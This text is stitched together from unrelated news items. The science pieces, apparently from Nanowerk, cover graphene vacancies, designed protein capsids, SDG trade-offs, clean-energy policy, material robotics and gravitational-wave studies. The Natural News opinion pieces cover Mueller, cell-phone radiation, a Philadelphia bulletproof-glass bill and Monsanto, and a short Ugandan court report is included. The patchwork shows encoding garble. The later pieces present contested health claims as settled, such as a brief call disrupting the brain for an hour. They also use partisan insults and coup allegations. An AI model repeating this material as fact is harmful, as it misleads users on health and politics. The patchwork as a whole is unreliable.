
An article authored by both researchers has been published in the journal Physical Review B ("Single vacancy defect in graphene: Insights into its magnetic properties from theoretical modeling").

Garcia received a PhD scholarship from Chile's National Scientific & Technological Research Commission (CONICYT), while Caldas was supported by the National Organic Electronics Institute (INEO), which is funded jointly by FAPESP and Brazil's National Council for Scientific & Technological Development (CNPq).

"There were divergences in the community regarding whether the vacancy formed by removing a single carbon atom from a graphene sheet's crystal lattice causes a weak or strong magnetic moment, and regarding the strength of the magnetic interaction between vacancies," Caldas said. The vacancy prompts the surrounding atoms to rearrange themselves into new combinations to accommodate the absence of an atom, forming electron clusters known as "floating orbitals" at the vacant site.

Three important variables are associated with the phenomenon: electron density, i.e., how the electrons are distributed; electron levels, i.e., the energy levels occupied by the electrons; and magnetic moment, i.e., the torque produced in the electrons by an external magnetic field.

First-hand use of hybrid method in graphene

Reflecting on the divergence, Caldas finds strange that its proponents are all excellent researchers affiliated with renowned international institutions. Studies conducted by the research revealed that the divergent values derived from the use of different simulation methods.

"There are two ways to calculate the overall electron structure of the vacancy region, both derived from quantum mechanics: the Hartree-Fock (HF) method, and density functional theory (DFT). In DFT the calculation is performed by making each electron interact with average electron density, which includes the electron in question. In HF the operator used excludes the electron and considers only its interaction with the others. HF produces more precise results for electron structure but the calculation is far more laborious," Caldas said.

"The two methods are often combined by means of hybrid functionals, which have been mentioned in the scientific literature since the end of the twentieth century. I worked with them myself some time ago in a study on polymers, but they had never been used in the case of graphene. What Ana Maria [Valencia Garcia] and I did was discover the hybrid functional that best describes the material. Applied to several models using computer simulation, our hybrid functional produced the same result for them all and this result matched the experimental data."

Besides resolving the controversy, which had lasted years, and having one of its images selected for esthetic value, another interesting aspect of this research is the problem that motivated it. "We came to it via the interest aroused by a material known as anthropogenic dark earth or ADE," Caldas explained. "ADE is a kind of very dark, fertile soil found in several parts of the world including the Amazon. It retains moisture even at high temperatures and remains fertile even under heavy rain. It's called anthropogenic because its composition derives from middens and cultivation by indigenous populations in the pre-Columbian period at least two millennia ago. This intriguing material was known to have resulted from multi-stacked layers of graphene nanoflakes. It was our interest in ADE that led us to study the phenomenon of vacancy in graphene sheets."
Synthetic protein packages its own genetic material and evolves

(Nanowerk News) Protein assemblies, designed and built from scratch to carry molecular cargo, are advancing both synthetic life research and engineering efforts for targeted drug delivery.

Scientists have succeeded in developing the first reported synthetic protein assemblies that encapsulate their own genetic materials and evolve new traits in complex environments.

The project is reported this week in the scientific journal, Nature ("Evolution of a designed protein assembly encapsulating its own RNA genome"). The lead authors of the paper are Gabriel L. Butterfield and Marc J. Lajoie at the University of Washington Institute for Protein Design.

The advance stems from molecular engineering projects at UW Medicine and other areas of the University of Washington to create targeted drug delivery systems. The synthetic protein assemblies were computationally designed. They did not exist previously until they were formed in a lab.

The scientists created these assemblies in their search for new ways to transport therapeutic cargos into specific types of cells without using viruses as vehicles.

"Targeted drug delivery is a major unsolved need in medicine," Lajoie noted, "Currently, researchers are using viruses, which are effective, but difficult to engineer, or they are using polymeric nanoparticles, which are engineerable, but less effective at targeted delivery."

In addition to their potential for biomedical applications, the newly designed protein assemblies could be groundbreaking in synthetic life research. They are believed to be the first fully synthetic assemblies to package their own genetic materials and evolve new traits. These are functions normally associated with living things.

The work was conducted in the laboratories of UW Medicine researchers David Baker, professor of biochemistry, and Neil King, assistant professor of biochemistry, both at the UW School of Medicine; and Suzie Pun, the Robert F. Rushmer Professor of Bioengineering at the UW.

The new protein assemblies are synthetic versions of nucleocapsids - genome containers. Most viruses surround their genetic material with a protein shell. The synthetic nucleocapsids were built to resemble a virus shell, which, like the hold of an aircraft or ship, can protect and deliver cargo.

Lajoie explained that, unlike living viruses, these synthetic genetic cargo-carriers can't copy themselves to reproduce. Butterfield added, "Still, they rival viruses in genome packaging efficiency, and are much simpler and easier to engineer."

Combining computational design with evolution provides a fresh opportunity to develop new biological functions. In this way, the researchers observed, complex properties required for biomedical applications were introduced into these protein assemblies. These included improvements in their ability to package RNA, enhanced resistance to blood (which has substances that would usually degrade such assemblies), and a longer circulation time in living mice.

Improvements in each property came from changes to specific regions of the capsid. Initial packaging came from redesigning the interior to electrostatically capture RNA. Following this, evolutionary steps were: evolving the interior to better foster RNA packaging, evolving protection against RNA damaging enzymes and other destroyers in the blood, and evolving the exterior to increase circulation time in living mice.

Packaging genetic material is critical for living things. It preserves the code of life which occurs in chemical form as DNA or RNA molecules.

"We designed synthetic nucleocapsids from scratch based on two completely unrelated proteins," Lajoie said. "This is exciting because we were able to design functions that are essential for life without having to use existing cells as a template."

Future work will carry on the combined design-and-evolve strategy to try to optimize the function of the protein assemblies in complex settings, such as those in live tissues.
Consumption is the bottleneck for sustainable development

(Nanowerk News) From ending poverty to improving wellbeing, gender equality, cities' resilience or climate action - while synergies among most of the United Nations Sustainable Development Goals (SDGs) foster progress in sustainable development, there are some key conflicts or bottlenecks that could hamper achieving the SDG objectives for 2030. This is the result of a new comprehensive analysis by a team of scientists from the Potsdam Institute for Climate Impact Research (PIK). According to the study ("A Systematic Study of Sustainable Development Goal (SDG) Interactions"), responsible consumption and production seems to be such a bottleneck, as data from the past shows.

The 17 Sustainable Development Goals (SDGs). (click on image to enlarge)

The Sustainable Development Goals aim at tackling complex multi-dimensional challenges faced by humankind and set the international agenda for 2030. However, so far little is known about the interactions, correlations and potential conflicts between the set of SDGs, explains lead author Prajal Pradhan. We tried to break up the complicated interlinkages into more comprehensible pairs so we could investigate how different SDGs influence each other. It turns out that in general, synergies outweigh trade-offs for most SDGs and countries. However, one SDG stands out as being in partial conflict with a number of other goals - that is responsible consumption and production.

Improvements in well-being, economic prosperity, and lifestyles currently still come to a large extent through an increase in consumption and therefore with the growing environmental and material footprints. To successfully implement the 2030 development agenda, such conflicts in objectives need to be identified, governed and tackled.

Adopted in 2015, the Sustainable Development Goals comprise 17 goals and 169 targets, ranging from human well-being to economic prosperity and environmental protection. The UN objectives to transform the world until 2030 are also the frame that member states are expected to adopt for their agendas and policies for development and sustainability. Identifying synergies and tradeoffs through SDG interactions is central to the design of feasible policies. So far, SDG interactions have mostly been analysed qualitatively, for few targets or for individual regions of the world.

Lessons from the past: Data reveals more synergies than trade-offs

Our study provides the first complete quantification of synergies and trade-offs as they can be detected in data from the past to the present within and across the SDGs, both at country level and on a global scale, says co-author Jurgen Kropp, vice chair of PIKs research domain Climate Impacts & Vulnerabilities.

Using a statistical setup applying data from the UN Statistics Division on 122 indicators for more than 200 countries between 1983 and 2016, we were able to carve out the lessons to be learned from historical data. This is a simple but highly useful approach, as the SDGs may be still new, but the challenges are certainly not, he adds.

The results not only reveal possible conflicts between the SDG goals, they also highlight a huge potential for synergies when it comes to the fight against poverty, hunger and for health and well-being. Eliminating poverty and improving public health positively influenced most other SDGs.

For instance, around three billion people around the globe live in countries where improvements on health and well-being matched with the provision of clean water and sanitation. Identifying the countries where synergies occur allows for being able to learn from the best practices.

As another example, countries associated with sustainable cities also seem to score well on climate action  which again indicates a strong potential for synergy. Based on the study results more elaborated concepts can be developed in order to make reliable projections about future fulfillments of SDGs and associated consequences.
Clean energy: experts outline how governments can successfully invest before it's too late

(Nanowerk News) Governments need to give technical experts more autonomy and hold their nerve to provide more long-term stability when investing in clean energy, argue researchers in climate change and innovation policy in a new paper published today.

Writing in the journal Nature ("Six principles for energy innovation"), the authors from UK and US institutions have set out guidelines for investment in world-changing energy innovation based on an analysis of the last twenty years of what works in clean energy research programs.

Their six simple guiding principles also include the need to channel innovation into the private sector through formal tech transfer programmes, and to think in terms of lasting knowledge creation rather than quick win potential when funding new projects.

The authors offer a stark warning to governments and policymakers: learn from and build on experience before time runs out, rather than constantly reinventing aims and processes for the sake of political vanity.

As the window of opportunity to avert dangerous climate change narrows, we urgently need to take stock of policy initiatives around the world that aim to accelerate new energy technologies and stem greenhouse gas emissions, said Laura Diaz Anadon, Professor of Climate Change Policy at the University of Cambridge.

If we dont build on the lessons from previous policy successes and failures to understand what works and why, we risk wasting time and money in a way that we simply cant afford, said Anadon, who authored the new paper with colleagues from the Harvard Kennedy School, as well as the University of Minnesotas Prof Gabriel Chan.

Public investments in energy research have risen since the lows of the mid-1990s and early 2000s. OECD members spent US$16.6 billion on new energy research and development (R&D) in 2016 compared to $10b in 2010. The EU and other nations pledged to double clean energy investment as part of 2015s Paris Climate Change Agreement.

Recently, the UK government set out its own Clean Growth Strategy, committing 2.5 billion between 2015 and 2021, with hundreds of million to be invested in new generations of small nuclear power stations and offshore wind turbines.

However, Anadon and colleagues point out that government funding for energy innovation has, in many cases, been highly volatile in the recent past: with political shifts resulting in huge budget fluctuations and process reinventions in the UK and US.

For example, the research team found that every single year between 1990 and 2017, one in five technology areas funded by the US Department of Energy (DoE) saw a budget shift of more than 30%. The Trump administrations current plan is to slash 2018s energy R&D budget by 35% across the board.

In the UK, every Prime Minister since 2000 has created new institutions to manage energy innovation and bridge the public and private sectors. Blairs UK Carbon Trust; Browns Energy Technologies Institute; Camerons Catapults; Mays Faraday Challenge as part of the latest industrial Strategy.

Experimentation has benefits, but also costs, said Anadon. Researchers are having to relearn new processes, people and programmes with every political transition  wasting time and effort for scientists, companies and policymakers.

Rather than repeated overhauls, existing programs should be continuously evaluated and updated. New programs should only be set up if they fill needs not currently met.

More autonomy for project selection should be passed to active scientists, who are best placed to spot bold but risky opportunities that managers miss, say the authors of the new paper.

They point to projects instigated by the US National Labs producing more commercially-viable technologies than those dictated by DoE headquarters  despite the Labs holding a mere 4% of the DoEs overall budget.

The six evidence-based guiding principles for clean energy investment are:

Give researchers and technical experts more autonomy and influence over funding decisions. Build technology transfer into research organisations. Focus demonstration projects on learning. Incentivise international collaboration. Adopt an adaptive learning strategy. Keep funding stable and predictable.

From US researchers using the pace of Chinese construction markets to test energy reduction technologies, to the UK government harnessing behavioural psychology to promote energy efficiency, the authors highlight just a few examples of government investment that helped create or improve clean energy initiatives across the world.
With 'material robotics', intelligent products won't even look like robots

(Nanowerk News) Robots as inconspicuous as they are ubiquitous represent the vision of researchers in the new and burgeoning field of material robotics.

In an invited perspective paper published today in Science Robotics ("Will robots be bodies with brains or brains with bodies?"), Oregon State University researcher Yigit Menguc and three co-authors argue against looking at robotics as a dichotomy of brain versus body.

Menguc and collaborators from the University of Colorado, Yale University and Ecole Polytechnique Federale de Lausanne take a view that seeks to dissolve the basic assumption that robots are either machines that run bits of code or software bots interacting with the world through a physical instrument.

We take a third path: one that imbues intelligence into the very matter of a robot, said Menguc, assistant professor of mechanical engineering in OSUs College of Engineering and part of the colleges Collaborative Robotics and Intelligent Systems Institute. The future were dreaming of is one of material-enabled robotics, something akin to robots themselves being integrated into day-to-day objects.

Such as footwear, for example.

Shoes that are able to intelligently support your gait, change stiffness as youre running or walking, or based upon the surface youre on or the biomechanics of your foot, Menguc said. Thats one potential product. Examples of that kind of material intelligence abound in nature, where complex functionality results from systems of simple materials.

The point here with something like a self-adjusting shoe is it no longer resembles a robot  thats kind of the direction of ubiquity were imagining.

Menguc notes that as technology becomes more capable it tends to follow a pattern of disappearing into the background of everyday life.

Take smartphones, he said. Autocorrect, a very small and impoverished version of artificial intelligence, is ubiquitous.

In the future, your smartphone may be made from stretchable, foldable material so theres no danger of it shattering. Or it might have some actuation, where it changes shape in your hand to help with the display, or it can be able to communicate something about what youre observing on the screen. What I would see as success for material robotics is where the technology we make is not static anymore  all these bits and pieces of technology that we take for granted in life will be living, physically responsive things, moving, changing shape in response to our needs, not just flat, static screens.

At present, the authors note, two distinct approaches remain for creating composite materials that match the complexity of functional biological tissue: new materials synthesis and system-level integration of material components.

Materials scientists are developing new bulk materials with the inherent multifunctionality required for robotic applications, while roboticists are working on new material systems with tightly integrated components.

The convergence of these approaches will ultimately yield the next generation of material-enabled robots, Menguc said. Its a natural partnership that will lead to robots with brains in their bodies  inexpensive and ever-present robots integrated into the real world.

Joining Menguc in authoring the paper were Nikolaus Correll of the University of Colorado, Rebecca Kramer of Yale, and Jamie Paik of Ecole Polytechnique Federale de Lausanne in Switzerland.
Star mergers: A new test of gravity, dark energy theories

(Nanowerk News) When scientists recorded a rippling in space-time, followed within two seconds by an associated burst of light observed by dozens of telescopes around the globe, they had witnessed, for the first time, the explosive collision and merger of two neutron stars.

The intense cosmological event observed on Aug. 17 also had other reverberations here on Earth: It ruled out a class of dark energy theories that modify gravity, and challenged a large class of theories.

Dark energy, which is driving the accelerating expansion of the universe, is one of the biggest mysteries in physics. It makes up about 68 percent of the total mass and energy of the universe and functions as a sort of antigravity, but we don't yet have a good explanation for it. Simply put, dark energy acts to push matter away from each other, while gravity acts to pull matter together.

Artist's illustration of two merging neutron stars. The rippling space-time grid represents gravitational waves that travel out from the collision, while the narrow beams show the bursts of gamma rays that are shot out just seconds after the gravitational waves. Swirling clouds of material ejected from the merging stars are also depicted. The clouds glow with visible and other wavelengths of light. (Image: NSF/LIGO/Sonoma State University/A. Simonnet)

The neutron star merger created gravitational waves - a squiggly distortion in the fabric of space and time, like a tossed stone sending ripples across a pond - that traveled about 130 million light-years through space, and arrived at Earth at almost the same instant as the high-energy light that jetted out from this merger.

The gravity waves signature was detected by a network of Earth-based detectors called LIGO and Virgo, and the first intense burst of light was observed by the Fermi Gamma-ray Space Telescope.

That nearly simultaneous arrival time is a very important test for theories about dark energy and gravity.

"Our results make significant progress to elucidate the nature of dark energy," said Miguel Zumalacarregui, a theoretical physicist who is part of the Berkeley Center for Cosmological Physics at the Department of Energy's Lawrence Berkeley National Laboratory (Berkeley Lab) and UC Berkeley.

"The simplest theories have survived," he said. "It's really about the timing."

He and Jose Maria Ezquiaga, who was a visiting Ph.D. researcher in the Berkeley Center for Cosmological Physics, participated in this study, which was published Dec. 18 in the journal Physical Review Letters ("Dark Energy After GW170817: Dead Ends and the Road Ahead").

A 100-year-old "cosmological constant" theory introduced by Albert Einstein in relation to his work on general relativity and some other theories derived from this model remain as viable contenders because they propose that dark energy is a constant in both space and time: Gravitational waves and light waves are affected in the same way by dark energy, and thus travel at the same rate through space.

"The favorite explanation is this cosmological constant," he said. "That's as simple as it's going to get."

There are some complicated and exotic theories that also hold up to the test presented by the star-merger measurements. Massive gravity, for example - a theory of gravity that assigns a mass to a hypothetical elementary particle called a graviton - still holds a sliver of possibility if the graviton has a very slight mass.

Some other theories, though, which held that the arrival of gravitational waves would be separated in time from the arriving light signature of the star merger by far longer periods - stretching up to millions of years - don't explain what was seen, and must be modified or scrapped.

The study notes that a class of theories known as scalar-tensor theories is particularly challenged by the neutron-star merger observations, including Einstein-Aether, MOND-like (relating to modified Newtonian dynamics), Galileon, and Horndeski theories, to name a few.

Data from the neutron star merger observed Aug. 17 disfavor a range of theories, including many based around quintic Galileon cosmologies. This graph shows about 300 of these Galileon variants, with the green-shaded ones disfavored by the observed merger event. (Image: Berkeley Lab)

With tweaks, some of the challenged models can survive the latest test by the star merger, Zumalacarregui said, though they "lose some of their simplicity" in the process.

Zumalacarregui joined the cosmological center last year and is a Marie Sk?odowska-Curie global research fellow who specializes in studies of gravity and dark energy.

He began studying whether gravitational waves could provide a useful test of dark energy following the February 2016 announcement that the two sets of gravitational-wave detectors called LIGO (the Laser Interferometer Gravitational-Wave Observatory) captured the first confirmed measurement of gravitational waves. Scientists believe those waves were created in the merger of two black holes to create a larger black hole.

But those types of events do not produce an associated burst of light. "You need both - not just gravitational waves to help test theories of gravity and dark energy," Zumalacarregui said.

Another study, which he published with Ezquiaga and others in April 2017, explored the theoretical conditions under which gravity waves could travel at a different velocity than light.

Another implication for this field of research is that, by collecting gravitational waves from these and possibly other cosmological events, it may be possible to use their characteristic signatures as "standard sirens" for measuring the universe's expansion rate.

This is analogous to how researchers use the similar light signatures for objects - including a type of exploding stars known as Type Ia supernovae and pulsating stars known as cepheids - as "standard candles" to gauge their distance.

Cosmologists use a combination of such measurements to build a so-called distance ladder for gauging how far away a given object is from Earth, but there are some unresolved discrepancies that are likely due to the presence of space dust and imperfections in calculations.

Gathering more data from events that generate both gravitational waves and light could also help resolve different measurements of the Hubble constant - a popular gauge of the universe's expansion rate.

The Hubble rate calibrated with supernovae distance measurements differs from the Hubble rate obtained from other cosmological observations, Zumalacarregui noted, so finding more standard sirens like neutron-star mergers could possibly improve the distance measurements.

The August neutron star merger event presented an unexpected but very welcome opportunity, he said.

"Gravitational waves are a very independent confirmation or refutation of the distance ladder measurements," he said. "I'm really excited for the coming years. At least some of these nonstandard dark energy models could explain this Hubble rate discrepancy.

"Maybe we have underestimated some events, or something is unaccounted for that we'll need to revise the standard cosmology of the universe," he added. "If this standard holds, we will need radically new theoretical ideas that are difficult to verify experimentally, like multiple universes - the multiverse. However, if this standard fails, we will have more experimental avenues to test those ideas."

New instruments and sky surveys are coming online that also aim to improve our understanding of dark energy, including the Berkeley Lab-led Dark Energy Spectroscopic Instrument project that is scheduled to begin operating in 2019. And scientists studying other phenomena, such as optical illusions in space caused by gravitational lensing - a gravity-induced effect that causes light from distant objects to bend and distort around closer objects - will also be useful in making more precise measurements.
Black hole pair born inside a dying star?

(Nanowerk News) Far from earth, two black holes orbit around each other propagating waves that bend time and space.

The existence of such waves -- gravitational waves -- was first predicted by Albert Einstein over a century ago on the basis of his theory of general relativity. And as always: Einstein was right.

But it took until 2015 for the Laser Interferometer Gravitational-Wave Observatory to detect gravitational waves for the first time: findings which earned the LIGO team the Nobel Prize in physics two years later.

In addition to the shockwave this discovery sent across the scientific community, it also gave researchers the new field of gravitational wave astronomy. But as with many discoveries, for every mystery solved, new questions have arisen.

One such new puzzle: how did those gravitational wave-inducing black holes originate?

Writing in the journal Physical Review Letters ("Gravitational Waves from Binary Black Hole Mergers inside Stars"), Joseph Fedrow of Kyoto University's Yukawa Institute for Theoretical Physics -- in collaboration with the International Research Unit for Advanced Future Studies -- has determined what gravitational waves might look like if two black holes formed inside a massive, collapsing star.

Snapshot of gravitational waves propagating from binary black holes merging inside of a star. (Image: Kyoto University, Joseph M. Fedrow)

"Although gravitational waves have allowed us to directly detect black holes for the first time, we still don't know the exact origins of these particular black holes," explains Fedrow.

"One idea is that these black holes formed during dynamical fragmentation of the inner core of a dying star undergoing gravitational collapse." This, according to Fedrow, could have resulted in two of the fragments becoming black holes and orbiting around each other in the remains of the stellar environment.

To test this proposal, the team used supercomputers and the tools of numerical relativity to create a model of two black holes in such surroundings. And after many long hours of computation, the output was compared against LIGO's observational data.

"Our results were measurably different," continues Fedrow, "showing that if black holes formed in a high-density, stellar environment, then the time it takes for them to merge shortens. If the density is lowered to levels more similar to vacuum, then the resulting gravitational waves match those of the event observed."

In addition to shedding light on the dynamics of binary black holes, these results reaffirm that the first waves detected by LIGO came from black holes in an empty region of space.
(Natural News) As President Donald J. Trump becomes more successful in reviving our country after it was rendered moribund by former President Obama and his top-down, bureaucracy-heavy, one-size-fits-all, economy-killing approach to government, the far-Left is getting more and more unhinged.

And angry.

You see, they were all in for Obamas transformation of America from a successful, growing, robust, powerful global leader into a declining, weak, economically drained shell of its former self. But they dont want to have anything at all to do with the Trump revival, and in fact, they are doing all they can to disrupt Trump and destroy any chance he has at making America great again.

Thats why the angry Left is pushing for widespread civil unrest, perpetual outrage, and outright destruction if dirty cop Robert Mueller winds up being out of a job, thanks to being fired by the head of the Executive Branch.

In recent days Americans have learned a great deal about the operation put in place during Obamas reign to undermine Trumps chances of pulling off what many considered to be an election upset against Democratic rival Hillary Clinton.

Whats more, Americans have learned that there may even have been an actual coup planned by some members of the FBI and Department of Justice, including agent Peter Strzok, FBI Deputy Director Andrew McCabe, FBI lawyer Lisa Page, and Department of Justice official Bruce Ohr.

And of course, its an open secret that special counsel Robert Mueller is completely compromised and has a major conflict of interest in investigating Team Trump for alleged collusion with Mother Russia during last years election. In fact, some of the same anti-Trump players have managed to find themselves on Muellers team  which, of course, is not by accident, as no one gets on Muellers team unless he hires them. And since Mueller has been swimming in the DC Swamp for a long, long time, he knows everyone he hired  including their animus towards the president.

Through it all, however, Trump has survived. And now that he and Republicans in Congress are onto the plot, there is widespread concern among the radical Left that Muellers days may be numbered.

Since Mueller represents the best remaining opportunity to get rid of Trump, the Left is already gearing up for the special counsels possible demise by agitating supporters and inciting them to resist.

As noted by PJ Media, there appeared to be a coordinated effort by Left-wing groups and individuals over the weekend to take to the streets if or when Mueller is fired by Trump.

The call to riot is not simply being issued by radical Leftist groups. Radical Leftist individuals, including former Obama officials like Eric Holder, who is a former attorney general, are also calling for resistance.

As reported by The National Sentinel, Holder issued his second thinly-veiled threat in a week that there would be hell to pay if Republicans or the president fire Mueller. (Related: CHAOS ALERT: Dem leader calls for deploying UN troops on the streets of America.)

ABSOLUTE RED LINE: the firing of Bob Mueller or crippling the special counsels office. If removed or meaningfully tampered with, there must be mass, popular, peaceful support of both. The American people must be seen and heard  they will ultimately be determinative, tweeted Holder on Sunday.

ABSOLUTE RED LINE: the firing of Bob Mueller or crippling the special counsels office. If removed or meaningfully tampered with, there must be mass, popular, peaceful support of both. The American people must be seen and heard  they will ultimately be determinative.  Eric Holder (@EricHolder) December 17, 2017

Earlier last week Holder tweeted, Speaking on behalf of the vast majority of the American people, Republicans in Congress be forewarned: any attempt to remove Bob Mueller will not be tolerated.These are BS attacks on him/his staff that are blatantly political-designed to hide the real wrongdoing. Country not party.

Why should this surprise me? After all, Obamas CIA director, John Brennan, suggested over the summer that there be a coup against Trump if he fires Mueller.

More and more we are learning just how deep, stinky, and pervasive the Washington swamp really is, and why we must do everything we can to help our president drain it.

Read more of J.D. Heyes work at The National Sentinel.

Sources include:

PJMedia.com

TheNationalSentinel.com
(Natural News) Figures indicate that you likely use a cell phone on a daily basis, since 95 percent of all Americans do so. And statistics indicate that most of our children now have one of these devices by the age of 10. That must mean theyre safe, right?

Unfortunately not. And though it has been scientifically proven that cell phones are harmful, health departments all over the country have been loath to speak out against them, leaving an uninformed public vulnerable to serious health problems.

Back in 2011, the World Health Organizations International Agency for Research on Cancer (IARC) warned:

The WHO/International Agency for Research on Cancer (IARC) has classified radiofrequency electromagnetic fields as possibly carcinogenic to humans (Group 2B), based on an increased risk for glioma, a malignant type of brain cancer1, associated with wireless phone use.

Now, the California Department of Public Health (CDPH) has issued a very watered-down warning about the safety of cell phones, but only after being virtually forced to do so by Joel Moskowitz, director of the Center for Family and Community Health at UC Berkeleys School of Public Health.

Dr. Moskowitz has been fighting since 2009 to get the CDPH to release information about the dangers of cell phone radiation. For years, they have been sitting on a document entitled Cell phones and health, which was commissioned seven years ago and has been revised several times, but was not released until Moskowitz forced the issue by taking the matter to the courts.

The document states clearly:

Health officials are concerned about possible health effects from cell phone EMFs because some recent studies suggest that long-term cell phone use may increase the risk of brain cancer and other health problems.

Susie Steimle, reporting for CBS affiliate KPIX, notes, The research suggests cell phones could increase our risk for brain cancer and tumors, low sperm count, headaches, and impaired memory, hearing and sleep.

While cell phone stores in Berkeley began warning their customers about these dangers over a year ago, the CDPH is only now warning people not to sleep with their cell phones under their pillows, and to never carry them in their pockets, but to rather store their mobile devices in their purses or leave them at home.

Nonetheless, when asked whether the CDPH now views cell phones as dangerous, its representative, Dr. Karen Smith, was quick to respond, Not at all. Our position is that the science is evolving.

Whatever that means. (Related: Discover more of the ridiculous at Stupid.news.)

Dr. Moskowitz is singularly unimpressed with the CDPHs attempts at protecting the public.

Currently were not doing a good job in regulating the radiation from these devices, he said. In fact, were doing an abysmal job. People are being injured and harmed by the delay in having this information accessible to them.

The CDPHs own investigation found that people diagnosed with certain forms of brain cancer are more likely to have used cell phones in the preceding decade, and that the cancers usually occurred on the side of the head that their cellphones were most often used on. (Related: MSM attacks alternative medicine after science links cell phone radiation to cancer.)

Nonetheless, as a society we have become incredibly dependent on our mobile phones, and it is unlikely that people will suddenly stop using them, so what are some safety tips to keep in mind when using these devices?

1. Spend as little time on any given conversation as possible; even a two-minute conversation disrupts brain activity for an hour.

2. Text rather than phoning;

3. Get a newer cell phone that emits less radiation;

4. Use a headset whenever possible;

5. Avoid using your mobile phone in an elevator or any other metal enclosure, including your car;

6. More radiation is emitted when your cell phone battery is low, so keep it charged; and

7. Wait until the phone is answered before physically putting your cell phone to your ear.

Sources include:

SanFrancisco.CBSLocal.com

NaturalNews.com

Drive.Google.com[PDF]
By Ruth Anderah:

The High court in Kampala has today heard that the murder police file of former CPS DPC Aaron Baguma and pine car bond proprietor Muhammad Ssebuufu has since gone missing and the DPP is now unable to commence with their trial.

This has been revealed by state prosecutor Fatuma Nakafeero to justice Flavia Anglin Ssenoga to whom the case has been allocated .

Nakafeero has now asked justice Ssenoga to grant DPP more time so that he can trace for the police file so that the accused can take plea and witnesses summoned.

Justice Ssenoga has now adjourned the case to next year -10th /January/ 2018 for hearing .

Baguma and Ssebufu are charged with the kidnap, murder and robbery of a business woman Donah Betty Katushabe in October 2015 over an accumulated 9 million shillings debt worth a car purchase from pine car bond.

The duo and their 7 co-accused are however out on bail .
(Natural News) Time and again Left-wing politicians show me what it means to exist in a parallel universe where they never have to face reality or the inane consequences of brain-dead decisions.

If youve never been to Philadelphia, the City of Brotherly Love, you may not know that its got a bit of a crime problem. Like all major cities run by Leftist Democrats, Philly also has strict gun control policies which are most closely followed by law-abiding citizens.

Criminals, on the other hand, tend to ignore city statutes that forbid them from, say, carrying loaded guns on the street and then actually using them to commit crimes.

But that little reality is why many shop owners installed bulletproof glass in their businesses; they figured the expense was worth not getting accidentally killed by stray gunfire that the police, the city council and the ordinances cant seem to prevent.

Nevertheless, because a majority of council members in Philly are idiots, they just voted to force business owners to remove the bulletproof glass from their storefronts because they are concerned those businesses are merely fronts for drug-dealingall while making it easier to loiter and take a urination break on the sidewalk, Fox News reports.

Council members voted 14-3 to approve a bill passed by the citys Public Health and Human Services Committee (public health in Philly apparently does not include self-protection against stray bullets from the illegal guns of actual drug dealers).

The legislation now empowers the citys overworked Department of Licenses and Inspections to add bulletproof glass to its lengthy list of regulatory obligations. And while Councilwoman Helen Gym told Philly.com the measure does not require mandatory removal of bulletproof glass, it does require careful consideration of said glass, meaning the bill will give a city bureaucracy arbitrary decision-making authority over who gets to keep their glass and who doesnt. No doubt there wont be any compensating store owners who are going to be forced to change their front glass from protective to not-so-protective.

Also, the bill calls for tighter rules on seating, public restrooms and what can be sold at these stores, according to Fox29.

Which also means the bill regulates what cant be sold at these stores.

Whats more, as you might have guessed, there is a racial component to this lunacy. The bill, which was introduced Dec. 4 by Councilwoman Cindy Bass, who is black, involves categorizing food establishments by size for city licensing purposes, Philly.com reported. But the portion of the legislation that addressed the bulletproof glass generated huge protests and polarized communities, exposing fissures involving race, class, and perceptions of immigrants.

Many of the most affected food owners are Asian-Americans and they criticized the bills call for removal of the safety glass, saying it would unnecessarily expose them to being robbed, injured or killed.

But Bass  who doesnt own one of these businesses and therefore isnt subject to the same risks as the Asian business owners, had the arrogance to call their concerns an indignity (because, you know, being concerned about African-Americans committing crimes is racist).

Unbelievable. Even in far-Left cities, sometimes you cant be far Left enough. (Related: There is nothing more despicable than a Democrat.

During a hearing on the legislation earlier this month, hundreds of beer-deli owners who use the bulletproof glass to stay alive showed up to protest, though their concerns obviously fell on deaf ears.

Not all of the council members were tone deaf idiots more concerned about racial insults than keeping people alive. Councilman David Oh, a Korean-American, said he couldnt support the bill because he knows it will endanger his constituents.

I will not expose [beer deli owners] or anyone else to the risk that they could be killed, he said during the hearing.

No worries, Mr. Oh. Ms. Bass has no trouble with that, you racist.

J.D. Heyes is editor of The National Sentinel and a senior writer for Natural News and News Target.

Sources include:

Philly.com

FoxNews.com

NaturalNews.com
(Natural News) Things arent going so well for the worlds most evil corporation as we approach the year 2018. In addition to constantly fighting against the public interest in order to conceal the presence of its products in the global food supply (what legitimate company has to do this just to stay in business?), agribusiness giant Monsanto is now facing a barrage of negative press concerning all of the growing independent research that shows its chemical concoctions are killing people  not to mention the more than 285 lawsuits against the company that are currently pending just in San Francisco alone.

A review of Monsanto happenings recently put forth by U.S. Right to Know reveals that the Creve Coeur-based biotechnology corporation is in boiling hot water at this point as a groundswell of scientific data links its flagship herbicide Roundup (glyphosate) to increasing rates of non-Hodgkin lymphoma. No matter how the company tries to spin the truth, a growing number of people around the world are now developing this severe form of blood cancer in connection with exposure to Roundup, which is currently sprayed on tens of millions of acres of non-organic food crops every single year as a safe and effective remedy for pests.

Monsanto has tried for decades now to conceal the truth about Roundup and the tremendous damage it causes to the human body. But the cat is now out of the bag, as evidenced by what many are now referring to as The Monsanto Paper  a treasure trove of indicting evidence that Monsanto has known all along about the dangers of Roundup, but has continued to push the chemical anyway.

Thousands of injured people want Monsanto to serve justice for its crimes

It is based on this and other damning evidence that some 3,500 plaintiffs and counting are now suing Monsanto for covering up the known risks of Roundup, which, had the truth been revealed from the start, likely would have kept Roundup from ever being approved in the first place. And now that the multinational corporation has generated untold billions of dollars in profits from Roundup, the time is ripe for justice to be served and for at least some of that money to return to those who have been injured by exposure to this noxious solution.

This is a look behind the curtain, says Brent Wisner, one of the attorneys leading the charge in this massive lawsuit against Monsanto, about all that The Monsanto Papers have to say about whats really been going on at the company.

These show that Monsanto has deliberately been stopping studies that look bad for them, ghostwriting literature and engaging in a whole host of corporate malfeasance. They (Monsanto) have been telling everybody that these products are safe because regulators have said they are safe, but it turns out that Monsanto has been in bed with U.S. regulators while misleading European regulators.

Moving into 2018, the victims of Monsantos chemical crusade are set to speak about their plight during the first week of March. Argument from the counsel is set to take place during the second or third weeks of March, which will be preceded by a Claims Construction Hearing as well as a Motion for Summary Judgment and Daubert Motion on General Causation in Courtroom 4 on the 17th floor of the U.S. District Court in San Francisco.

Concerns about the safety of glyphosate and Roundup have been growing for years amid mounting research showing links to cancer or other diseases, reads an article by Carey Gillam from The Huffington Post that was republished with permission by Natural News. The plaintiffs in the lawsuits allege that the combination of glyphosate with certain surfactants used in Monsanto-branded Roundup products is even more toxic than glyphosate alone, and Monsanto has sought to cover up that information.

